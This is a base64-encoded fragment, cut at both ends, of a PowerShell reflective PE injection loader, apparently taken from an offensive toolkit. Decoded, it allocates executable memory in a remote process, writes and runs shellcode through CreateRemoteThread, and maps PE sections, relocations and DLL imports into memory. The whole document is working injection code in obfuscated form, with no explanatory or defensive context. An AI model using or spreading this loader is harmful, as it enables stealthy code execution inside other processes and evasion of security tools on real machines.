AkU0NQU01lbQ0KCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkR2V0UHJvY0FkZHJlc3NTQzQuTGVuZ3RoKQ0KCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkR2V0UHJvY0FkZHJlc3NSZXRNZW0sICRTQ1BTTWVtLCAkZmFsc2UpDQoJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQ0KCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkR2V0UHJvY0FkZHJlc3NTQzUgLU1lbW9yeUFkZHJlc3MgJFNDUFNNZW0NCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJEdldFByb2NBZGRyZXNzU0M1Lkxlbmd0aCkNCgkJDQoJCSRSU0NBZGRyID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxBbGxvY0V4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgW0ludFB0cl06Olplcm8sIFtVSW50UHRyXVtVSW50NjRdJFNDTGVuZ3RoLCAkV2luMzJDb25zdGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEV1JJVEUpDQoJCWlmICgkUlNDQWRkciAtZXEgW0ludFB0cl06Olplcm8pDQoJCXsNCgkJCVRocm93ICJVbmFibGUgdG8gYWxsb2NhdGUgbWVtb3J5IGluIHRoZSByZW1vdGUgcHJvY2VzcyBmb3Igc2hlbGxjb2RlIg0KCQl9DQoJCQ0KCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5Xcml0ZVByb2Nlc3NNZW1vcnkuSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkUlNDQWRkciwgJFNDUFNNZW1PcmlnaW5hbCwgW1VJbnRQdHJdW1VJbnQ2NF0kU0NMZW5ndGgsIFtSZWZdJE51bUJ5dGVzV3JpdHRlbikNCgkJaWYgKCgkU3VjY2VzcyAtZXEgJGZhbHNlKSAtb3IgKFtVSW50NjRdJE51bUJ5dGVzV3JpdHRlbiAtbmUgW1VJbnQ2NF0kU0NMZW5ndGgpKQ0KCQl7DQoJCQlUaHJvdyAiVW5hYmxlIHRvIHdyaXRlIHNoZWxsY29kZSB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkuIg0KCQl9DQoJCQ0KCQkkUlRocmVhZEhhbmRsZSA9IEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQgLVByb2Nlc3NIYW5kbGUgJFJlbW90ZVByb2NIYW5kbGUgLVN0YXJ0QWRkcmVzcyAkUlNDQWRkciAtV2luMzJGdW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zDQoJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuV2FpdEZvclNpbmdsZU9iamVjdC5JbnZva2UoJFJUaHJlYWRIYW5kbGUsIDIwMDAwKQ0KCQlpZiAoJFJlc3VsdCAtbmUgMCkNCgkJew0KCQkJVGhyb3cgIkNhbGwgdG8gQ3JlYXRlUmVtb3RlVGhyZWFkIHRvIGNhbGwgR2V0UHJvY0FkZHJlc3MgZmFpbGVkLiINCgkJfQ0KCQkNCgkJI1RoZSBwcm9jZXNzIGFkZHJlc3MgaXMgd3JpdHRlbiB0byBtZW1vcnkgaW4gdGhlIHJlbW90ZSBwcm9jZXNzIGF0IGFkZHJlc3MgJEdldFByb2NBZGRyZXNzUmV0TWVtLCByZWFkIHRoaXMgbWVtb3J5DQoJCVtJbnRQdHJdJFJldHVyblZhbE1lbSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkUHRyU2l6ZSkNCgkJJFJlc3VsdCA9ICRXaW4zMkZ1bmN0aW9ucy5SZWFkUHJvY2Vzc01lbW9yeS5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRHZXRQcm9jQWRkcmVzc1JldE1lbSwgJFJldHVyblZhbE1lbSwgW1VJbnRQdHJdW1VJbnQ2NF0kUHRyU2l6ZSwgW1JlZl0kTnVtQnl0ZXNXcml0dGVuKQ0KCQlpZiAoKCRSZXN1bHQgLWVxICRmYWxzZSkgLW9yICgkTnVtQnl0ZXNXcml0dGVuIC1lcSAwKSkNCgkJew0KCQkJVGhyb3cgIkNhbGwgdG8gUmVhZFByb2Nlc3NNZW1vcnkgZmFpbGVkIg0KCQl9DQoJCVtJbnRQdHJdJFByb2NBZGRyZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJFJldHVyblZhbE1lbSwgW1R5cGVdW0ludFB0cl0pDQoNCgkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxGcmVlRXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkUlNDQWRkciwgW1VJbnRQdHJdW1VJbnQ2NF0wLCAkV2luMzJDb25zdGFudHMuTUVNX1JFTEVBU0UpIHwgT3V0LU51bGwNCgkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxGcmVlRXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkUkZ1bmNOYW1lUHRyLCBbVUludFB0cl1bVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVMRUFTRSkgfCBPdXQtTnVsbA0KCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbEZyZWVFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRHZXRQcm9jQWRkcmVzc1JldE1lbSwgW1VJbnRQdHJdW1VJbnQ2NF0wLCAkV2luMzJDb25zdGFudHMuTUVNX1JFTEVBU0UpIHwgT3V0LU51bGwNCgkJDQoJCXJldHVybiAkUHJvY0FkZHJlc3MNCgl9DQoNCg0KCUZ1bmN0aW9uIENvcHktU2VjdGlvbnMNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbQnl0ZVtdXQ0KCQkkUEVCeXRlcywNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkUEVJbmZvLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW1N5c3RlbS5PYmplY3RdDQoJCSRXaW4zMkZ1bmN0aW9ucywNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkV2luMzJUeXBlcw0KCQkpDQoJCQ0KCQlmb3IoICRpID0gMDsgJGkgLWx0ICRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5GaWxlSGVhZGVyLk51bWJlck9mU2VjdGlvbnM7ICRpKyspDQoJCXsNCgkJCVtJbnRQdHJdJFNlY3Rpb25IZWFkZXJQdHIgPSBbSW50UHRyXShBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uU2VjdGlvbkhlYWRlclB0cikgKCRpICogW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX1NFQ1RJT05fSEVBREVSKSkpDQoJCQkkU2VjdGlvbkhlYWRlciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRTZWN0aW9uSGVhZGVyUHRyLCBbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9TRUNUSU9OX0hFQURFUikNCgkJDQoJCQkjQWRkcmVzcyB0byBjb3B5IHRoZSBzZWN0aW9uIHRvDQoJCQlbSW50UHRyXSRTZWN0aW9uRGVzdEFkZHIgPSBbSW50UHRyXShBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uUEVIYW5kbGUpIChbSW50NjRdJFNlY3Rpb25IZWFkZXIuVmlydHVhbEFkZHJlc3MpKQ0KCQkJDQoJCQkjU2l6ZU9mUmF3RGF0YSBpcyB0aGUgc2l6ZSBvZiB0aGUgZGF0YSBvbiBkaXNrLCBWaXJ0dWFsU2l6ZSBpcyB0aGUgbWluaW11bSBzcGFjZSB0aGF0IGNhbiBiZSBhbGxvY2F0ZWQNCgkJCSMgICAgaW4gbWVtb3J5IGZvciB0aGUgc2VjdGlvbi4gSWYgVmlydHVhbFNpemUgPiBTaXplT2ZSYXdEYXRhLCBwYWQgdGhlIGV4dHJhIHNwYWNlcyB3aXRoIDAuIElmDQoJCQkjICAgIFNpemVPZlJhd0RhdGEgPiBWaXJ0dWFsU2l6ZSwgaXQgaXMgYmVjYXVzZSB0aGUgc2VjdGlvbiBzdG9yZWQgb24gZGlzayBoYXMgcGFkZGluZyB0aGF0IHdlIGNhbiB0aHJvdyBhd2F5LA0KCQkJIyAgICBzbyB0cnVuY2F0ZSBTaXplT2ZSYXdEYXRhIHRvIFZpcnR1YWxTaXplDQoJCQkkU2l6ZU9mUmF3RGF0YSA9ICRTZWN0aW9uSGVhZGVyLlNpemVPZlJhd0RhdGENCg0KCQkJaWYgKCRTZWN0aW9uSGVhZGVyLlBvaW50ZXJUb1Jhd0RhdGEgLWVxIDApDQoJCQl7DQoJCQkJJFNpemVPZlJhd0RhdGEgPSAwDQoJCQl9DQoJCQkNCgkJCWlmICgkU2l6ZU9mUmF3RGF0YSAtZ3QgJFNlY3Rpb25IZWFkZXIuVmlydHVhbFNpemUpDQoJCQl7DQoJCQkJJFNpemVPZlJhd0RhdGEgPSAkU2VjdGlvbkhlYWRlci5WaXJ0dWFsU2l6ZQ0KCQkJfQ0KCQkJDQoJCQlpZiAoJFNpemVPZlJhd0RhdGEgLWd0IDApDQoJCQl7DQoJCQkJVGVzdC1NZW1vcnlSYW5nZVZhbGlkIC1EZWJ1Z1N0cmluZyAiQ29weS1TZWN0aW9uczo6TWFyc2hhbENvcHkiIC1QRUluZm8gJFBFSW5mbyAtU3RhcnRBZGRyZXNzICRTZWN0aW9uRGVzdEFkZHIgLVNpemUgJFNpemVPZlJhd0RhdGEgfCBPdXQtTnVsbA0KCQkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkNvcHkoJFBFQnl0ZXMsIFtJbnQzMl0kU2VjdGlvbkhlYWRlci5Qb2ludGVyVG9SYXdEYXRhLCAkU2VjdGlvbkRlc3RBZGRyLCAkU2l6ZU9mUmF3RGF0YSkNCgkJCX0NCgkJDQoJCQkjSWYgU2l6ZU9mUmF3RGF0YSBpcyBsZXNzIHRoYW4gVmlydHVhbFNpemUsIHNldCBtZW1vcnkgdG8gMCBmb3IgdGhlIGV4dHJhIHNwYWNlDQoJCQlpZiAoJFNlY3Rpb25IZWFkZXIuU2l6ZU9mUmF3RGF0YSAtbHQgJFNlY3Rpb25IZWFkZXIuVmlydHVhbFNpemUpDQoJCQl7DQoJCQkJJERpZmZlcmVuY2UgPSAkU2VjdGlvbkhlYWRlci5WaXJ0dWFsU2l6ZSAtICRTaXplT2ZSYXdEYXRhDQoJCQkJW0ludFB0cl0kU3RhcnRBZGRyZXNzID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kU2VjdGlvbkRlc3RBZGRyKSAoW0ludDY0XSRTaXplT2ZSYXdEYXRhKSkNCgkJCQlUZXN0LU1lbW9yeVJhbmdlVmFsaWQgLURlYnVnU3RyaW5nICJDb3B5LVNlY3Rpb25zOjpNZW1zZXQiIC1QRUluZm8gJFBFSW5mbyAtU3RhcnRBZGRyZXNzICRTdGFydEFkZHJlc3MgLVNpemUgJERpZmZlcmVuY2UgfCBPdXQtTnVsbA0KCQkJCSRXaW4zMkZ1bmN0aW9ucy5tZW1zZXQuSW52b2tlKCRTdGFydEFkZHJlc3MsIDAsIFtJbnRQdHJdJERpZmZlcmVuY2UpIHwgT3V0LU51bGwNCgkJCX0NCgkJfQ0KCX0NCg0KDQoJRnVuY3Rpb24gVXBkYXRlLU1lbW9yeUFkZHJlc3Nlcw0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkUEVJbmZvLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW0ludDY0XQ0KCQkkT3JpZ2luYWxJbWFnZUJhc2UsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyQ29uc3RhbnRzLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW1N5c3RlbS5PYmplY3RdDQoJCSRXaW4zMlR5cGVzDQoJCSkNCgkJDQoJCVtJbnQ2NF0kQmFzZURpZmZlcmVuY2UgPSAwDQoJCSRBZGREaWZmZXJlbmNlID0gJHRydWUgI1RyYWNrIGlmIHRoZSBkaWZmZXJlbmNlIHZhcmlhYmxlIHNob3VsZCBiZSBhZGRlZCBvciBzdWJ0cmFjdGVkIGZyb20gdmFyaWFibGVzDQoJCVtVSW50MzJdJEltYWdlQmFzZVJlbG9jU2l6ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9CQVNFX1JFTE9DQVRJT04pDQoJCQ0KCQkjSWYgdGhlIFBFIHdhcyBsb2FkZWQgdG8gaXRzIGV4cGVjdGVkIGFkZHJlc3Mgb3IgdGhlcmUgYXJlIG5vIGVudHJpZXMgaW4gdGhlIEJhc2VSZWxvY2F0aW9uVGFibGUsIG5vdGhpbmcgdG8gZG8NCgkJaWYgKCgkT3JpZ2luYWxJbWFnZUJhc2UgLWVxIFtJbnQ2NF0kUEVJbmZvLkVmZmVjdGl2ZVBFSGFuZGxlKSBgDQoJCQkJLW9yICgkUEVJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuQmFzZVJlbG9jYXRpb25UYWJsZS5TaXplIC1lcSAwKSkNCgkJew0KCQkJcmV0dXJuDQoJCX0NCg0KDQoJCWVsc2VpZiAoKENvbXBhcmUtVmFsMUdyZWF0ZXJUaGFuVmFsMkFzVUludCAoJE9yaWdpbmFsSW1hZ2VCYXNlKSAoJFBFSW5mby5FZmZlY3RpdmVQRUhhbmRsZSkpIC1lcSAkdHJ1ZSkNCgkJew0KCQkJJEJhc2VEaWZmZXJlbmNlID0gU3ViLVNpZ25lZEludEFzVW5zaWduZWQgKCRPcmlnaW5hbEltYWdlQmFzZSkgKCRQRUluZm8uRWZmZWN0aXZlUEVIYW5kbGUpDQoJCQkkQWRkRGlmZmVyZW5jZSA9ICRmYWxzZQ0KCQl9DQoJCWVsc2VpZiAoKENvbXBhcmUtVmFsMUdyZWF0ZXJUaGFuVmFsMkFzVUludCAoJFBFSW5mby5FZmZlY3RpdmVQRUhhbmRsZSkgKCRPcmlnaW5hbEltYWdlQmFzZSkpIC1lcSAkdHJ1ZSkNCgkJew0KCQkJJEJhc2VEaWZmZXJlbmNlID0gU3ViLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUluZm8uRWZmZWN0aXZlUEVIYW5kbGUpICgkT3JpZ2luYWxJbWFnZUJhc2UpDQoJCX0NCgkJDQoJCSNVc2UgdGhlIElNQUdFX0JBU0VfUkVMT0NBVElPTiBzdHJ1Y3R1cmUgdG8gZmluZCBtZW1vcnkgYWRkcmVzc2VzIHdoaWNoIG5lZWQgdG8gYmUgbW9kaWZpZWQNCgkJW0ludFB0cl0kQmFzZVJlbG9jUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kUEVJbmZvLlBFSGFuZGxlKSAoW0ludDY0XSRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5CYXNlUmVsb2NhdGlvblRhYmxlLlZpcnR1YWxBZGRyZXNzKSkNCgkJd2hpbGUoJHRydWUpDQoJCXsNCgkJCSNJZiBTaXplT2ZCbG9jayA9PSAwLCB3ZSBhcmUgZG9uZQ0KCQkJJEJhc2VSZWxvY2F0aW9uVGFibGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkQmFzZVJlbG9jUHRyLCBbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9CQVNFX1JFTE9DQVRJT04pDQoNCgkJCWlmICgkQmFzZVJlbG9jYXRpb25UYWJsZS5TaXplT2ZCbG9jayAtZXEgMCkNCgkJCXsNCgkJCQlicmVhaw0KCQkJfQ0KDQoJCQlbSW50UHRyXSRNZW1BZGRyQmFzZSA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhhbmRsZSkgKFtJbnQ2NF0kQmFzZVJlbG9jYXRpb25UYWJsZS5WaXJ0dWFsQWRkcmVzcykpDQoJCQkkTnVtUmVsb2NhdGlvbnMgPSAoJEJhc2VSZWxvY2F0aW9uVGFibGUuU2l6ZU9mQmxvY2sgLSAkSW1hZ2VCYXNlUmVsb2NTaXplKSAvIDINCg0KCQkJI0xvb3AgdGhyb3VnaCBlYWNoIHJlbG9jYXRpb24NCgkJCWZvcigkaSA9IDA7ICRpIC1sdCAkTnVtUmVsb2NhdGlvbnM7ICRpKyspDQoJCQl7DQoJCQkJI0dldCBpbmZvIGZvciB0aGlzIHJlbG9jYXRpb24NCgkJCQkkUmVsb2NhdGlvbkluZm9QdHIgPSBbSW50UHRyXShBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludFB0cl0kQmFzZVJlbG9jUHRyKSAoW0ludDY0XSRJbWFnZUJhc2VSZWxvY1NpemUgKyAoMiAqICRpKSkpDQoJCQkJW1VJbnQxNl0kUmVsb2NhdGlvbkluZm8gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkUmVsb2NhdGlvbkluZm9QdHIsIFtUeXBlXVtVSW50MTZdKQ0KDQoJCQkJI0ZpcnN0IDQgYml0cyBpcyB0aGUgcmVsb2NhdGlvbiB0eXBlLCBsYXN0IDEyIGJpdHMgaXMgdGhlIGFkZHJlc3Mgb2Zmc2V0IGZyb20gJE1lbUFkZHJCYXNlDQoJCQkJW1VJbnQxNl0kUmVsb2NPZmZzZXQgPSAkUmVsb2NhdGlvbkluZm8gLWJhbmQgMHgwRkZGDQoJCQkJW1VJbnQxNl0kUmVsb2NUeXBlID0gJFJlbG9jYXRpb25JbmZvIC1iYW5kIDB4RjAwMA0KCQkJCWZvciAoJGogPSAwOyAkaiAtbHQgMTI7ICRqKyspDQoJCQkJew0KCQkJCQkkUmVsb2NUeXBlID0gW01hdGhdOjpGbG9vcigkUmVsb2NUeXBlIC8gMikNCgkJCQl9DQoNCgkJCQkjRm9yIERMTCdzIHRoZXJlIGFyZSB0d28gdHlwZXMgb2YgcmVsb2NhdGlvbnMgdXNlZCBhY2NvcmRpbmcgdG8gdGhlIGZvbGxvd2luZyBNU0ROIGFydGljbGUuIE9uZSBmb3IgNjRiaXQgYW5kIG9uZSBmb3IgMzJiaXQuDQoJCQkJI1RoaXMgYXBwZWFycyB0byBiZSB0cnVlIGZvciBFWEUncyBhcyB3ZWxsLg0KCQkJCSMJU2l0ZTogaHR0cDovL21zZG4ubWljcm9zb2Z0LmNvbS9lbi11cy9tYWdhemluZS9jYzMwMTgwOC5hc3B4DQoJCQkJaWYgKCgkUmVsb2NUeXBlIC1lcSAkV2luMzJDb25zdGFudHMuSU1BR0VfUkVMX0JBU0VEX0hJR0hMT1cpIGANCgkJCQkJCS1vciAoJFJlbG9jVHlwZSAtZXEgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1JFTF9CQVNFRF9ESVI2NCkpDQoJCQkJewkJCQ0KCQkJCQkjR2V0IHRoZSBjdXJyZW50IG1lbW9yeSBhZGRyZXNzIGFuZCB1cGRhdGUgaXQgYmFzZWQgb2ZmIHRoZSBkaWZmZXJlbmNlIGJldHdlZW4gUEUgZXhwZWN0ZWQgYmFzZSBhZGRyZXNzIGFuZCBhY3R1YWwgYmFzZSBhZGRyZXNzDQoJCQkJCVtJbnRQdHJdJEZpbmFsQWRkciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJE1lbUFkZHJCYXNlKSAoW0ludDY0XSRSZWxvY09mZnNldCkpDQoJCQkJCVtJbnRQdHJdJEN1cnJBZGRyID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJEZpbmFsQWRkciwgW1R5cGVdW0ludFB0cl0pDQoJCQ0KCQkJCQlpZiAoJEFkZERpZmZlcmVuY2UgLWVxICR0cnVlKQ0KCQkJCQl7DQoJCQkJCQlbSW50UHRyXSRDdXJyQWRkciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJEN1cnJBZGRyKSAoJEJhc2VEaWZmZXJlbmNlKSkNCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJCVtJbnRQdHJdJEN1cnJBZGRyID0gW0ludFB0cl0oU3ViLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kQ3VyckFkZHIpICgkQmFzZURpZmZlcmVuY2UpKQ0KCQkJCQl9CQkJCQ0KDQoJCQkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRyKCRDdXJyQWRkciwgJEZpbmFsQWRkciwgJGZhbHNlKSB8IE91dC1OdWxsDQoJCQkJfQ0KCQkJCWVsc2VpZiAoJFJlbG9jVHlwZSAtbmUgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1JFTF9CQVNFRF9BQlNPTFVURSkNCgkJCQl7DQoJCQkJCSNJTUFHRV9SRUxfQkFTRURfQUJTT0xVVEUgaXMganVzdCB1c2VkIGZvciBwYWRkaW5nLCB3ZSBkb24ndCBhY3R1YWxseSBkbyBhbnl0aGluZyB3aXRoIGl0DQoJCQkJCVRocm93ICJVbmtub3duIHJlbG9jYXRpb24gZm91bmQsIHJlbG9jYXRpb24gdmFsdWU6ICRSZWxvY1R5cGUsIHJlbG9jYXRpb25pbmZvOiAkUmVsb2NhdGlvbkluZm8iDQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQkkQmFzZVJlbG9jUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kQmFzZVJlbG9jUHRyKSAoW0ludDY0XSRCYXNlUmVsb2NhdGlvblRhYmxlLlNpemVPZkJsb2NrKSkNCgkJfQ0KCX0NCg0KDQoJRnVuY3Rpb24gSW1wb3J0LURsbEltcG9ydHMNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFBFSW5mbywNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkV2luMzJGdW5jdGlvbnMsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyVHlwZXMsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMywgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyQ29uc3RhbnRzLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDQsIE1hbmRhdG9yeSA9ICRmYWxzZSldDQoJCVtJbnRQdHJdDQoJCSRSZW1vdGVQcm9jSGFuZGxlDQoJCSkNCgkJDQoJCSRSZW1vdGVMb2FkaW5nID0gJGZhbHNlDQoJCWlmICgkUEVJbmZvLlBFSGFuZGxlIC1uZSAkUEVJbmZvLkVmZmVjdGl2ZVBFSGFuZGxlKQ0KCQl7DQoJCQkkUmVtb3RlTG9hZGluZyA9ICR0cnVlDQoJCX0NCgkJDQoJCWlmICgkUEVJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuSW1wb3J0VGFibGUuU2l6ZSAtZ3QgMCkNCgkJew0KCQkJW0ludFB0cl0kSW1wb3J0RGVzY3JpcHRvclB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhhbmRsZSkgKFtJbnQ2NF0kUEVJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuSW1wb3J0VGFibGUuVmlydHVhbEFkZHJlc3MpDQoJCQkNCgkJCXdoaWxlICgkdHJ1ZSkNCgkJCXsNCgkJCQkkSW1wb3J0RGVzY3JpcHRvciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRJbXBvcnREZXNjcmlwdG9yUHRyLCBbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9JTVBPUlRfREVTQ1JJUFRPUikNCgkJCQkNCgkJCQkjSWYgdGhlIHN0cnVjdHVyZSBpcyBudWxsLCBpdCBzaWduYWxzIHRoYXQgdGhpcyBpcyB0aGUgZW5kIG9mIHRoZSBhcnJheQ0KCQkJCWlmICgkSW1wb3J0RGVzY3JpcHRvci5DaGFyYWN0ZXJpc3RpY3MgLWVxIDAgYA0KCQkJCQkJLWFuZCAkSW1wb3J0RGVzY3JpcHRvci5GaXJzdFRodW5rIC1lcSAwIGANCgkJCQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3IuRm9yd2FyZGVyQ2hhaW4gLWVxIDAgYA0KCQkJCQkJLWFuZCAkSW1wb3J0RGVzY3JpcHRvci5OYW1lIC1lcSAwIGANCgkJCQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3IuVGltZURhdGVTdGFtcCAtZXEgMCkNCgkJCQl7DQoJCQkJCVdyaXRlLVZlcmJvc2UgIkRvbmUgaW1wb3J0aW5nIERMTCBpbXBvcnRzIg0KCQkJCQlicmVhaw0KCQkJCX0NCg0KCQkJCSRJbXBvcnREbGxIYW5kbGUgPSBbSW50UHRyXTo6WmVybw0KCQkJCSRJbXBvcnREbGxQYXRoUHRyID0gKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhhbmRsZSkgKFtJbnQ2NF0kSW1wb3J0RGVzY3JpcHRvci5OYW1lKSkNCgkJCQkkSW1wb3J0RGxsUGF0aCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RyaW5nQW5zaSgkSW1wb3J0RGxsUGF0aFB0cikNCgkJCQkNCgkJCQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVxICR0cnVlKQ0KCQkJCXsNCgkJCQkJJEltcG9ydERsbEhhbmRsZSA9IEltcG9ydC1EbGxJblJlbW90ZVByb2Nlc3MgLVJlbW90ZVByb2NIYW5kbGUgJFJlbW90ZVByb2NIYW5kbGUgLUltcG9ydERsbFBhdGhQdHIgJEltcG9ydERsbFBhdGhQdHINCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJJEltcG9ydERsbEhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5Mb2FkTGlicmFyeS5JbnZva2UoJEltcG9ydERsbFBhdGgpDQoJCQkJfQ0KDQoJCQkJaWYgKCgkSW1wb3J0RGxsSGFuZGxlIC1lcSAkbnVsbCkgLW9yICgkSW1wb3J0RGxsSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykpDQoJCQkJew0KCQkJCQl0aHJvdyAiRXJyb3IgaW1wb3J0aW5nIERMTCwgRExMTmFtZTogJEltcG9ydERsbFBhdGgiDQoJCQkJfQ0KCQkJCQ0KCQkJCSNHZXQgdGhlIGZpcnN0IHRodW5rLCB0aGVuIGxvb3AgdGhyb3VnaCBhbGwgb2YgdGhlbQ0KCQkJCVtJbnRQdHJdJFRodW5rUmVmID0gQ